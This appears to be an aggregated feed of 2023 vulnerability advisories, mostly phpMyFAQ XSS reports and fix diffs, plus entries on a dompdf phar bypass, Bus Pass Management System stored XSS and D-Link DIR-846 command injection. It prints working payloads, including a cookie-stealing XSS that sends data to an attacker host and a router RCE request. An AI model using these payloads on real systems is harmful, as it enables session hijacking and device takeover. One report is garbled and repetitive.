Cross-site Scripting (XSS) - DOM in GitHub repository thorsten/phpmyfaq prior to 3.1.12.

@@ -619,7 +619,7 @@ 'msgGlossary' => '<a href="./glossary.html">' . $PMF\_LANG\['ad\_menu\_glossary'\] . '</a>', 'privacyLink' => sprintf( '<a target="\_blank" href="%s">%s</a>', $faqConfig\->get('main.privacyURL'), Strings::htmlentities($faqConfig\->get('main.privacyURL')), $PMF\_LANG\['msgPrivacyNote'\] ), 'backToHome' => '<a href="./index.html">' . $PMF\_LANG\['msgHome'\] . '</a>', @@ -642,7 +642,7 @@ 'msgGlossary' => '<a href="index.php?' . $sids . 'action=glossary">' . $PMF\_LANG\['ad\_menu\_glossary'\] . '</a>', 'privacyLink' => sprintf( '<a target="\_blank" href="%s">%s</a>', $faqConfig\->get('main.privacyURL'), Strings::htmlentities($faqConfig\->get('main.privacyURL')), $PMF\_LANG\['msgPrivacyNote'\] ), 'allCategories' => '<a class="nav-link" href="index.php?' . $sids . 'action=show">' .

CVE-2023-1882: fix: added missing conversion to HTML entities · thorsten/phpMyFAQ@49db615

Cross-site Scripting (XSS) - Generic in GitHub repository thorsten/phpmyfaq prior to 3.1.12.

@@ -106,10 +106,10 @@ function buildStopWordsHTML(data) {

}

  

// id attribute is of the format stopword\_<id>\_<lang>

elem\_id \= buildStopWordInputElemId(data\[i\].id, data\[i\].lang);

elem\_id \= buildStopWordInputElemId(data\[i\].id, escape(data\[i\].lang));

  

html += '<td>';

html += buildStopWordInputElement(elem\_id, data\[i\].stopword);

html += buildStopWordInputElement(elem\_id, escape(data\[i\].stopword));

html += '</td>';

  

if (i % maxCols \=== maxCols \- 1) {

@@ -136,7 +136,7 @@ function buildStopWordInputElement(elementId, stopword) {

elementId \= elementId || buildStopWordInputElemId();

stopword \= stopword || '';

const attrs \= 'onblur="saveStopWord(this.id)" onkeydown="saveStopWordHandleEnter(this.id, event)" onfocus="saveOldValue(this.id)"';

return '<input class="form-control form-control-sm" id="' + elementId + '" value="' + stopword + '" ' + attrs + '>';

return '<input class="form-control form-control-sm" id="' + elementId + '" value="' + escape(stopword) + '" ' + attrs + '>';

}

  

/\*\*

@@ -286,6 +286,21 @@ function() {

);

}

}

  

const escape \= (text) \=> {

const map \= {

'&': '&amp;',

'<': '&lt;',

'>': '&gt;',

'"': '&quot;',

"'": '&#039;',

};

  

return text.replace(/\[&<>"'\]/g, (mapped) \=> {

return map\[mapped\];

});

};

  

</script\>

</div\>

</div\>

CVE-2023-1884: fix: added missing conversion to HTML entities · thorsten/phpMyFAQ@7f0f921

Cross-site Scripting (XSS) - Reflected in GitHub repository thorsten/phpmyfaq prior to 3.1.12.

Valid

Reported on

Feb 17th 2023

**Description**

There is a reflected XSS in send2friend because the 'artlang' parameter is not sanitized.

**Proof of Concept**

visit http://phpmyfaq.local/?action=send2friend&artlang=aaaa"%3E%3Cscript%3Ealert(1);%3C/script%3E

**Fix**

sanitize the '$faqLanguage' variable in https://github.com/thorsten/phpMyFAQ/blob/main/phpmyfaq/send2friend.php#L70

**Impact**

Taking over the admin account.

CVE-2023-1880: Reflected XSS in send2friend.php in phpmyfaq

Cross-site Scripting (XSS) - Stored in GitHub repository thorsten/phpmyfaq prior to 3.1.12.

**Description**

There is a stored XSS in the 'adminlog' functionality. E.g. the page http://phpmyfaq.local/admin/?action=adminlog shows (failed) login attempts. If a user with the username '<script>alert(1);</script>' tries to log in, it gets logged and displayed on the adminlog unsanitized.

**Proof of Concept**

1.  visit http://phpmyfaq.tld/admin/index.php and try to login with <script>alert(1);</script>

after the failed login attempt, visit

*   (as admin) http://phpmyfaq.tld/admin/?action=adminlog to trigger the XSS.

You will notice the script tags being injected:

    Invalid user or password.\nLogin: <script>alert(1);</script>\nErrors: Specified login could not be found. 
    

**Fix**

sanitize $loggingValue\['text'\] in https://github.com/thorsten/phpMyFAQ/blob/5bd0f79d085feb255d893a67d2fcdac51f4cd2ec/phpmyfaq/admin/stat.adminlog.php#L123 before serving it to the admin user.

**Impact**

Taking over the admin account.

CVE-2023-1878: Stored XSS in the adminlog functionality. in phpmyfaq

Deserialization of Untrusted Data in GitHub repository microweber/microweber prior to 1.3.3.

**Description**

The URI validation on dompdf 2.0.1 can be bypassed on SVG parsing by passing <image> tags with uppercase letters. This might lead to arbitrary object unserialize on PHP < 8, through the phar URL wrapper.

The bug occurs during SVG parsing of <image> tags, in src/Image/Cache.php:

        $parser = xml_parser_create("utf-8");
        xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, false);
        xml_set_element_handler(
            $parser,
            function ($parser, $name, $attributes) use ($options, $parsed_url, $full_url) {
                if ($name === "image") {
                    $attributes = array_change_key_case($attributes, CASE_LOWER) 
    

This part will try to detect <image> tags in SVG, and will take the href to validate it against the protocolAllowed whitelist. However, the \`$name comparison with "image" is case sensitive, which means that such a tag in the SVG will pass the PoC below

**Proof of Concept**

    <svg>
        <Image xlink:href="phar:///foo"></Image>
    </svg>
    

**Impact**

An attacker might be able to exploit the vulnerability to call arbitrary URL with arbitrary protocols, if they can provide a SVG file to dompdf. In PHP versions before 8.0.0, it leads to arbitrary unserialize, that will leads at the very least to an arbitrary file deletion, and might leads to remote code execution, depending on classes that are available.

CVE-2023-1876: Restrictive composer.json makes Dompdf vulnerable to URI validation failure on SVG parsing in microweber

Bus Pass Management System version 1.0 suffers persistent cross site scripting vulnerabilities.

    # Exploit Title: Bus Pass Management System 1.0  - Stored Cross-Site Scripting (XSS)# Date: 2021-09-17# Exploit Author: Matteo Conti - https://deltaspike.io# Vendor Homepage: https://phpgurukul.com/# Software Link: https://phpgurukul.com/wp-content/uploads/2021/07/Bus-Pass-Management-System-Using-PHP-MySQL.zip# Version: 1.0# Tested on: Ubuntu 18.04 - LAMP# DescriptionThe application permits to send a message to the admin from the section "contacts". Including a XSS payload in title or message,maybe also in email bypassing the client side controls, the payload will be executed when the admin will open the message to read it.# Vulnerable page: /admin/view-enquiry.php?viewid=1 (change the "view id" according to the number of the message)# Tested Payload: <img src=http://localhost/buspassms/images/overlay.png width=0 height=0 onload=this.src='http://<YOUR-IP>:<YOUR-PORT>/?'+document.cookie># Prof of concept:- From /contact.php, send a message containing the following payload in "title" or "message" fields:<img src=http://localhost/buspassms/images/overlay.png width=0 height=0 onload=this.src='http://<YOUR-IP>:<YOUR-PORT>/?'+document.cookie>(the first url have to be an existing image)- Access with admin credentials, enter to /admin/unreadenq.php and click "view" near the new message to execute the payload. After the first view, you can execute again the payload from /admin/readenq.php- Your listener will receive the PHP session id.

Bus Pass Management System 1.0 Cross Site Scripting

@@ -47,7 +47,8 @@  
<div class\="row"\> <div class\="col-12"\> <form id\="faqEditor" name\="faqEditor" action\="?action=save-news" method\="post" novalidate\> <form id\="faqEditor" name\="faqEditor" action\="?action=save-news" method\="post" class\="needs-validation" novalidate\>  
<div class\="form-group row"\> <label class\="col-3 col-form-label" for\="newsheader"\> @@ -112,7 +113,7 @@ <div class\="form-group row"\> <label class\="col-3 col-form-label" for\="link"\><?= $PMF\_LANG\['ad\_news\_link\_url'\] ?></label\> <div class\="col-9"\> <input class\="form-control" type\="text" name\="link" id\="link" <input class\="form-control" type\="url" name\="link" id\="link" placeholder\="http://www.example.com/"\> </div\> </div\> @@ -256,7 +257,8 @@  
<div class\="row"\> <div class\="col-12"\> <form action\="?action=update-news" method\="post" accept-charset\="utf-8"\> <form action\="?action=update-news" method\="post" accept-charset\="utf-8" class\="needs-validation" novalidate\> <input type\="hidden" name\="id" value\="<?= $newsData\['id'\] ?>"\>  
<div class\="form-group row"\> @@ -328,7 +330,7 @@ <div class\="form-group row"\> <label class\="col-3 col-form-label" for\="link"\><?= $PMF\_LANG\['ad\_news\_link\_url'\] ?></label\> <div class\="col-9"\> <input type\="text" id\="link" name\="link" <input type\="url" id\="link" name\="link" value\="<?= Strings::htmlentities($newsData\['link'\]) ?>" class\="form-control"\> </div\> </div\> @@ -449,8 +451,8 @@ $email = Filter::filterInput(INPUT\_POST, 'authorEmail', FILTER\_VALIDATE\_EMAIL); $active = Filter::filterInput(INPUT\_POST, 'active', FILTER\_UNSAFE\_RAW); $comment = Filter::filterInput(INPUT\_POST, 'comment', FILTER\_UNSAFE\_RAW); $link = Filter::filterInput(INPUT\_POST, 'link', FILTER\_SANITIZE\_SPECIAL\_CHARS); $linkTitle = Filter::filterInput(INPUT\_POST, 'linkTitle', FILTER\_SANITIZE\_SPECIAL\_CHARS); $link = Filter::filterInput(INPUT\_POST, 'link', FILTER\_VALIDATE\_URL); $linkTitle = Filter::filterInput(INPUT\_POST, 'linkTitle', FILTER\_SANITIZE\_ENCODED); $newsLang = Filter::filterInput(INPUT\_POST, 'langTo', FILTER\_UNSAFE\_RAW); $target = Filter::filterInput(INPUT\_POST, 'target', FILTER\_UNSAFE\_RAW);  
@@ -500,8 +502,8 @@ $email = Filter::filterInput(INPUT\_POST, 'authorEmail', FILTER\_VALIDATE\_EMAIL); $active = Filter::filterInput(INPUT\_POST, 'active', FILTER\_UNSAFE\_RAW); $comment = Filter::filterInput(INPUT\_POST, 'comment', FILTER\_UNSAFE\_RAW); $link = Filter::filterInput(INPUT\_POST, 'link', FILTER\_UNSAFE\_RAW); $linkTitle = Filter::filterInput(INPUT\_POST, 'linkTitle', FILTER\_UNSAFE\_RAW); $link = Filter::filterInput(INPUT\_POST, 'link', FILTER\_VALIDATE\_URL); $linkTitle = Filter::filterInput(INPUT\_POST, 'linkTitle', FILTER\_SANITIZE\_ENCODED); $newsLang = Filter::filterInput(INPUT\_POST, 'langTo', FILTER\_UNSAFE\_RAW); $target = Filter::filterInput(INPUT\_POST, 'target', FILTER\_UNSAFE\_RAW);

CVE-2023-1757: fix: added missing validation of URLs and conversion to HTML entities · thorsten/phpMyFAQ@5061e58

Failure to Sanitize Special Elements into a Different Plane (Special Element Injection) in GitHub repository thorsten/phpmyfaq prior to 3.1.12.

@@ -127,10 +127,10 @@

<td\>

<span style\="font-weight: bold;"\>

<a href\="mailto:<?= $newsComment\->getEmail() ?>"\>

<?= $newsComment\->getUsername() ?>

<?= Strings::htmlentities($newsComment\->getUsername()) ?>

</a\> |

<?= $date\->format(date('Y-m-d H:i', $faqComment\->getDate())) ?> |

<a href\="<?php printf('../?action=news&id=%d&artlang=%s', $faqComment\->getRecordId(), $faqLangCode) ?>"\>

<?= $date\->format(date('Y-m-d H:i', $newsComment\->getDate())) ?> |

<a href\="<?php printf('../?action=news&id=%d&artlang=%s', $newsComment\->getRecordId(), $faqLangCode) ?>"\>

<i class\="fa fa-newspaper-o" aria-hidden\="true"\></i\>

</a\>

</span\><br/>

CVE-2023-1758: fix: added missing conversion to HTML entities · thorsten/phpMyFAQ@f3380f4

Hello,

After mitigation of all submitted XSS Vulnerabilities i was able to detect another XSS and bypass the XSS Filters in the FAQ Site while generating an HTML Export.

Lets see :)

This is th XSS Paylaod with XSS Ahmed 2

Only XSS Ahmed 2 will work !

Now lets export in in HTML5 and open the file the xss alert will be fired.

As you can see this is the XSS Payload lets refresh its stored

Thank you for watching :)

**Impact**

Hello,

After mitigation of all submitted XSS Vulnerabilities i was able to detect another XSS and bypass the XSS Filters in the FAQ Site while generating an HTML Export.

Lets see :)

This is th XSS Paylaod with XSS Ahmed 2

Only XSS Ahmed 2 will work !

Now lets export in in HTML5 and open the file the xss alert will be fired.

As you can see this is the XSS Payload lets refresh its stored

Thank you for watching :)

CVE-2023-1756: stored XSS after XSS Filter Bypass through exporting an HTML-Document in phpmyfaq

D-Link DIR-846 suffers from a remote command execution vulnerability.

    # Exploit Title: D-Link DIR-846 - Remote Command Execution (RCE) vulnerability # Google Dork: NA# Date: 30/01/2023# Exploit Author: Françoa Taffarel# Vendor Homepage:https://www.dlink.com.br/produto/roteador-dir-846-gigabit-wi-fi-ac1200/#suportehttps://www.dlink.com.br/wp-content/uploads/2020/02/DIR846enFW100A53DBR-Retail.zip# Software Link:https://www.dlink.com.br/wp-content/uploads/2020/02/DIR846enFW100A53DBR-Retail.zip# Version: DIR846enFW100A53DBR-Retail# Tested on: D-LINK DIR-846# CVE : CVE-2022-46552D-Link DIR-846 Firmware FW100A53DBR was discovered to contain a remotecommand execution (RCE) vulnerability via the lan(0)_dhcps_staticlistparameter. This vulnerability is exploited via a crafted POST request.### Malicious POST Request```POST /HNAP1/ HTTP/1.1Host: 192.168.0.1User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101Firefox/107.0Accept: application/jsonAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/jsonSOAPACTION: "http://purenetworks.com/HNAP1/SetIpMacBindSettings"HNAP_AUTH: 0107E0F97B1ED75C649A875212467F1E 1669853009285Content-Length: 171Origin: http://192.168.0.1Connection: closeReferer: http://192.168.0.1/AdvMacBindIp.html?t=1669852917775Cookie: PHPSESSID=133b3942febf51641c4bf0d81548ac78; uid=idh0QaG7;PrivateKey=DBA9B02F550ECD20E7D754A131BE13DF; timeout=4{"SetIpMacBindSettings":{"lan_unit":"0","lan(0)_dhcps_staticlist":"1,$(id>rce_confirmed),02:42:d6:f9:dc:4e,192.168.0.15"}}```### Response```HTTP/1.1 200 OKX-Powered-By: PHP/7.1.9Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheContent-type: text/html; charset=UTF-8Connection: closeDate: Thu, 01 Dec 2022 11:03:54 GMTServer: lighttpd/1.4.35Content-Length: 68{"SetIpMacBindSettingsResponse":{"SetIpMacBindSettingsResult":"OK"}}```### Data from RCE Request```GET /HNAP1/rce_confirmed HTTP/1.1Host: 192.168.0.1User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101Firefox/107.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeCookie: PHPSESSID=133b3942febf51641c4bf0d81548ac78; uid=ljZlHjKV;PrivateKey=846232FD25AA8BEC8550EF6466B168D9; timeout=1Upgrade-Insecure-Requests: 1```### Response```HTTP/1.1 200 OKContent-Type: application/octet-streamAccept-Ranges: bytesContent-Length: 24Connection: closeDate: Thu, 01 Dec 2022 23:24:28 GMTServer: lighttpd/1.4.35uid=0(root) gid=0(root)```

Tag

#php